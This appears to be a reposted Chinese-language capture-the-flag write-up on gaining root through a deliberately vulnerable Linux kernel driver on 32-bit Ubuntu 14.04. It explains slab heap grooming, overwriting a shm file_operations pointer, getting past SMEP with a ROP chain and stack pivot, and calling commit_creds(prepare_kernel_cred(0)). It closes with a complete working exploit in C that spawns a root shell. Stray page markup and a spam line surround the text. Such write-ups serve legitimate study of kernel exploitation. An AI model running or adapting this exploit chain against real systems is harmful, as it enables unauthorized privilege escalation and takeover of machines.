<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/binary/14936

                    0x00 簡介


                    之前只接觸過應用層的漏洞利用, 這次第一次接觸到內核層次的,小結一下。

                    0x01 概況


                    這次接觸到的,是吾愛破解挑戰賽里的一個題,給了一個有問題的驅動程序,要求在ubuntu 14.04 32位系統環境下提權。驅動實現了write函數,但是write可以寫0x5a0000000個字節。然后還實現了一個ioctl,這里有任意地址寫的問題(但是這個分析里沒用到)。還有一個read函數,這個可以讀取堆上的數據。驅動的代碼可以在這里下載到:http://www.52pojie.cn/thread-480792-1-1.html

                    #!cpp
                    static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
                    {
                        unsigned long p =  *ppos;
                        unsigned int count = size;
                        int ret = 0;
                        struct mem_dev *dev = filp->private_data;
                    
                        if((dev->size >> 24 & 0xff) != 0x5a) 
                        //dev->size == 0x5aXXXXXX
                            return -EFAULT;
                    
                        if (p > dev->size)
                            return -ENOMEM;
                    
                        if (count > dev->size - p)
                            count = dev->size - p;
                    
                        if (copy_from_user((void *)(dev->data + p), buf, count)) {
                            ret =  -EFAULT;
                        } else {
                            *ppos += count;
                            ret = count;
                        }
                    
                        return ret;
                    }
                    
                    static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
                    {
                        struct mem_init data;
                        if(!arg)
                            return -EINVAL;
                        if(copy_from_user(&data, (void *)arg, sizeof(data))) {
                            return -EFAULT;
                        }
                        if(data.len <= 0 || data.len >= 0x1000000)
                            return -EINVAL;
                        if(data.idx < 0)
                            return -EINVAL;
                        switch(cmd) {
                            case 0:
                                mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
                                mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
                                printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data);
                                if(!mem_devp[data.idx].data) {
                                    return -ENOMEM;
                                }
                                memset(mem_devp[data.idx].data, 0, data.len);
                                break;
                            default:
                                return -EINVAL;
                        }
                    
                        return 0;
                    }
                    
                    static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
                    {
                        unsigned long p =  *ppos;
                        unsigned int count = size;
                        int ret = 0;
                        struct mem_dev *dev = filp->private_data;
                    
                        if((dev->size >> 24 & 0xff) != 0x5a)
                            return -EFAULT;
                    
                        if (p > dev->size)
                            return -ENOMEM;
                    
                        if (count > dev->size - p)
                            count = dev->size - p;
                    
                        if (copy_to_user(buf, (void*)(dev->data + p), count)) {
                            ret =  -EFAULT;
                        } else {
                            *ppos += count;
                            ret = count;
                        }
                    
                        return ret;
                    }
                    

                    write里的dev->data是通過調用ioctl后kmalloc出來的,kmalloc的size可以自行指定。于是通過這個write,可以寫內核堆,甚至寫到內核棧里。我用的方法是覆蓋內核某個堆結構,改掉其上的某個指針,最好是某個函數指針,或者函數表指針。具體的是shmid_kernel結構的file指針,里面存有shm_ops,這是shm的函數表,里面有shm_mmap,而這個函數可以在用戶態通過shmat調用到。shmid_kernel這個結構體,則會通過在系統調用shmget時,被kmalloc。在我操作的機器上(32位):

                    Alt text

                    shmid_kernel分配時的大小是64+92 = 156:

                    Alt text

                    #!cpp
                    struct shmid_kernel //結構體大小為92bytes
                    {   
                        struct kern_ipc_perm    shm_perm;
                        struct file     *shm_file;
                        unsigned long       shm_nattch;
                        unsigned long       shm_segsz;
                        time_t          shm_atim;
                        time_t          shm_dtim;
                        time_t          shm_ctim;
                        pid_t           shm_cprid;
                        pid_t           shm_lprid;
                        struct user_struct  *mlock_user;
                        struct task_struct  *shm_creator;
                        struct list_head    shm_clist;  
                    };
                    

                    0x02 覆蓋前的堆排布


                    要保證能覆蓋到特定的結構,首先是要保證,申請到的內存是相鄰的。內核里kmalloc是slab的分配機制。一次至少會分配一個頁面,然后把這個頁面分為很多個連續的塊,這些塊的信息,可以通過cat /proc/slabinfo看到:

                    Alt text

                    分配的時候,是向上對齊的。比如,如果kmalloc的size滿足區間(128,192],那么就會給它分配一個192大小的塊。如果有空閑的塊,則把空閑的塊分配出去。只有當所有分配的slab里的塊,都被占用了,才會去分配新的slab(里面有很多相鄰內存的大小相同的塊)。比如說需要一個192的塊,而已經分配的192的slab里沒有空閑的,就會分配一個頁面的內存,里面分成4096/192 = 21個192bytes的塊,然后拿出第一塊分配出去,再申請,則拿出第二塊,以此類推。

                    //slab的圖

                    所以,如果我們想要得到兩個相鄰的塊。有這么幾點要求:

                    所以,在這里來說,我們想要通過write,來覆蓋掉下一個堆塊,即我們的目標堆塊shmid_kernel (占用一個192的slab塊),要這么做:

                    這之后再用write來進行覆蓋,就能達到我們的目的。

                    0x03 overflow shmid_kernel


                    為了確保我們的堆排布好了,我給這個有漏洞的驅動,patch了一行代碼,使得能夠把每次kmalloc的地址打印出來:

                    Alt text

                    而且在exp里,調用shmget之后,再一次調用ioctl來kmalloc一個192的塊。那么得到的dmesg:

                    Alt text

                    最后兩次 ioctl,中間相隔了2個0xC0的大小,其中一個應該是shmid_kernel。那么還有一個是什么?通過調用驅動的read,讀取這段堆上的內存,我發現:還有一個是shmid_kernel結構的shm_file,排布是這樣的:

                    addr type
                    0xc04e43c0 dev[0]->data
                    0xc04e4480 shmid_kernel
                    0xc04e4540 shmid_file
                    0xc04e4600 dev1->data

                    Alt text

                    最開始的計劃,是覆蓋shmid_kernel結構的shmid_file指針(shmid_kernel+0x6c),但是現在發現可以直接覆蓋shmid_file的fop(shmid_file+0x14),這是指向其file_operations的指針。我們只要把這個指針覆蓋,就能偽造file_operations,于是偽造一個file_operations,在偏移0x40處,指定0x41414141。其余的內容,由于我們可以通過read讀取堆內容,所以write的時候,直接復制過去,改別的。 但是如果沒有read,我們也可以自己偽造一個shmid_kernel,當然肯定會麻煩一些。因為有一些檢查是要繞過的。

                    #!cpp
                    read(fd[2],readbuf,oversize); //由于llseek的限制,fd [0,1,2]做一個區分
                    memcpy(buf,readbuf,oversize);
                    map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
                    memcpy(map,41,0x100);
                    struct file **shm_file;
                    shm_file = (struct file **)(buf+0x194);
                    *shm_file = (void *)0x5a000000;  
                    
                    //fack_fop == 0x5a000000;
                    //fack_fop_mmap == 0x41414141;
                    
                    write(fd[0],buf,oversize);
                    ret = shmat(shmid,NULL,0);
                    

                    那么,調用shmat的時候,最終會調用:
                    shmid_kernel->shm_file->fop->mmap(...)。這個時候,我們就能得到內核的控制流。

                    Alt text

                    0x04 SMEP


                    得到控制流后,最開始我是這么想的:

                    將控制流轉移到用戶態的代碼里來,進行提權,代碼可以是這樣子:

                    #!cpp
                    int __attribute__((regparm(3))) 
                    kernel_code(struct file *file, void *vma)
                    {
                        commit_creds(prepare_kernel_cred(0));
                        return -1;
                    }
                    

                    但是,這樣只能針對沒有開啟SMEP(Supervisor Mode Execution Protection Enable)的情況。

                    什么是SMEP?簡單來說,就是禁止內核執行用戶控件的代碼。它存在于CR4寄存器的第20 bit。

                    Alt text

                    在安卓上,也叫PXN。因為傳統的內核提權漏洞利用,得到控制流之后,直接跳轉到用戶空間執行提權代碼,實在是太輕松,所以就加了這么一個緩解機制。

                    由于系統開了SMEP,這樣就只能在內核找ROP來拼湊提權代碼了。

                    0x05 ROP & 棧移植


                    構造ROP來調用

                    #!cpp
                    commit_creds(prepare_kernel_cred(0);
                    

                    通過cat /proc/kallsyms得到符號表之后,可以定位prepare_kernel_cred和commit_creds的地址:

                    只有prepare_kernel_cred(0)需要一個參數,傳進去。看了下prepare_kernel_cred函數的匯編,這個參數用eax傳遞。所以需要一條

                    pop eax
                    ret
                    

                    或者是

                    xor eax,eax
                    ret
                    

                    prepare_kernel_cred的返回值,會直接傳給commit_creds,并不用在rop鏈里構造。那么初步的應該是這樣子:

                    instruction addr
                    pop eax;ret; 0xc1431272
                    perpare_kernel_creds; 0xc1082e20
                    commit_cred; 0xc1082b60

                    問題來了:

                    rop鏈,首先要寫到棧里面去,問題是如何寫。

                    Alt text

                    最后獲得控制流之前,eax 是內核堆上的地址,是shmid_kerneld的shm_file,里面的內容我們可以控制。ecx是偽造的fop表地址,我們可以完全控制。不好往棧里頭寫數據,不妨把棧給移植到能控制的地方來。

                    于是我第一次找的 xchg ecx,esp這樣的指令。但是一執行,系統就崩了。具體原因,本人猜測應該是內核棧esp不能指向用戶空間。具體什么原因,也沒深究。

                    所以第二次,我找的xchg eax,esp;ret 0x100這樣的指令。因為eax是shmid_file,還在內核空間,而其后面的數據都可以通過write控制,也就相當于能控制棧。還不用改寫shmid_file,只用在shmid_file頭4個字節寫上pop eax;ret;的地址,xchg之后的ret能順利執行就OK了。

                    #!cpp
                    memcpy(buf+0x180,rop,4);
                    //rop[0] = 0xc1431272 ;
                    //pop eax 
                    //ret
                    

                    0x06 內核態返回


                    最后一個問題,內核態如何返回用戶態。

                    因為我們移植了內核棧,而內核態返回用戶態的時候,需要從內核棧里頭,彈出cs,eip,eflag,ss,esp等信息。當然,我們可以自己構造虛假的。但是內核棧里頭有很多結構體,特別是提取時候要用到的task結構體,就在內核棧開始的地方。我沒有試過構造虛假的內核棧,因為感覺太繁瑣,而且也不知道可不可行。

                    于是我采取的是另外一種思路:

                    把移植過來的棧,又移植回去。

                    所以,我需要一個寄存器,來保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。會對esi,edi,ebx三個寄存器進行保護:

                    Alt text

                    我選擇其中的esi來保存原始內核棧esp。那么rop鏈就變成了這樣子:

                    instruction addr
                    xchg eax,esp;ret 0xc1020eb1 覆蓋到shm_mmap的指針
                    xchg eax,esi;ret 0xc1071395 覆蓋shm_file的前四個字節
                    pop eax;ret; 0xc1431272 fack_stask
                    fack_stask
                    perpare_kernel_creds; 0xc1082e20 fack_stask
                    commit_cred; 0xc1082b60 fack_stask
                    xchg eax,esi;ret 0xc1071395 fack_stask
                    xchg eax,esp;ret 0xc1020eb1 fack_stask

                    0x07 get root shell


                    最后,我們再用戶態,調用:

                    #!cpp
                    setresuid(0, 0, 0);
                    setresgid(0, 0, 0);
                    execl("/bin/bash","/bin/bash",NULL);
                    

                    整個提權利用,就完成了。

                    Alt text

                    0x08 exp

                    有很多的內核漏洞文章,講了很多的內核漏洞利用技術:

                    修改ptmx->fop,修改addr_limit,修改task結構,修改中斷描述符,將SMEP位反位等等,都博大精深。學習的路還很長很長。下面是這次提權的代碼:

                    #!cpp
                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <string.h>
                    #include <unistd.h>
                    #include <fcntl.h>
                    #include <limits.h>
                    #include <inttypes.h>
                    #include <sys/types.h>
                    #include <sys/ipc.h>
                    #include <sys/sem.h>
                    #include <sys/shm.h>
                    #include <sys/mman.h>
                    #include <sys/stat.h>
                    
                    #define oversize 0x400
                    struct mem_init {
                        unsigned int idx;
                        unsigned int len;
                    };
                    
                    int prepare_kernel_creds = 0xc1082e20;
                    int commit_creds = 0xc1082b60; 
                    
                    int main(){
                        int fd[3],ret,i;
                        int shmid;
                        int *map;
                        void *buf,*readbuf;
                        struct mem_init arg;
                        fd[0] = open("/dev/memdev0",O_RDWR);
                        fd[1] = open("/dev/memdev1",O_RDWR);
                        fd[2] = open("/dev/memdev2",O_RDWR);
                        for(i=0;i<3;i++)
                            if(fd[i] < 0){
                                printf("[-]open driver failed!\n");
                                return 0;
                            }
                        printf("[+]open driver success\n");
                    
                        //prepare heap
                        arg.idx = 0;
                        arg.len = 92+0x40;
                        for(i=0;i<1000;i++){
                            ioctl(fd[0],0,&arg);
                        }
                        arg.idx = 1;
                        ioctl(fd[1],0,&arg);
                        arg.idx = 2;
                        ioctl(fd[2],0,&arg);
                    
                        buf = malloc(oversize);
                        readbuf = malloc(oversize);
                    
                        shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666);
                        printf("%d\n",shmid);
                        arg.idx = 3;
                        ioctl(fd[0],0,&arg);
                        printf("[+] heap prepare OK!\n");
                    
                    
                        read(fd[2],readbuf,oversize); //read heap data
                        memcpy(buf,readbuf,oversize); 
                    
                    
                        read(fd[0],readbuf,192*2); //set llseek point
                    
                        map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, 
                    MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
                        int **shm_file;
                        shm_file = (int **)(buf+0x194); //fack fop
                        *shm_file = (void *)0x5a000000;
                    
                    
                        int rop[11];
                        rop[0] = 0xc1071395; //xchg eax,esi;ret
                        rop[1] = 0xc1431272; //pop eax;ret
                        rop[2] = 0; //eax
                        rop[3] = prepare_kernel_creds;
                        rop[4] = commit_creds;
                        rop[5] = 0xc1071395; //xchg eax,esi;ret
                        rop[6] = 0xc1020eb1; //xchg eax,esp;ret
                        rop[7] = 0;
                        rop[8] = 0;
                        rop[9] = 0;
                        rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100
                    
                        //  xchg eax,esp;ret
                        //  xchg eax,esi;ret  ;
                        //  pop eax;ret;  0xc1431272
                        //  perpare_kernel_creds
                        //  commit_cred
                        //  xchg eax,esi;ret
                        //  xchg eax,esp;ret
                    
                        memcpy(map,rop,4*30);  //map is fack fop
                    
                        memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret
                        memcpy(buf+0x280,rop,4*30);//fack  stack
                        write(fd[0],buf,oversize);
                    
                        printf("[+] heap write done\n");
                        printf("[+] read to triggle shellcode\n");  
                    
                        ret = (int)shmat(shmid,NULL,0); //triggle
                    
                        if(ret!=0)
                            printf("[+] OK,ready to get root!\n   press any key\n");
                        getchar();
                        setresuid(0, 0, 0);
                        setresgid(0, 0, 0);
                        execl("/bin/bash","/bin/bash",NULL);
                        return 0;
                    }
                    

                    0x09 參考鏈接


                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频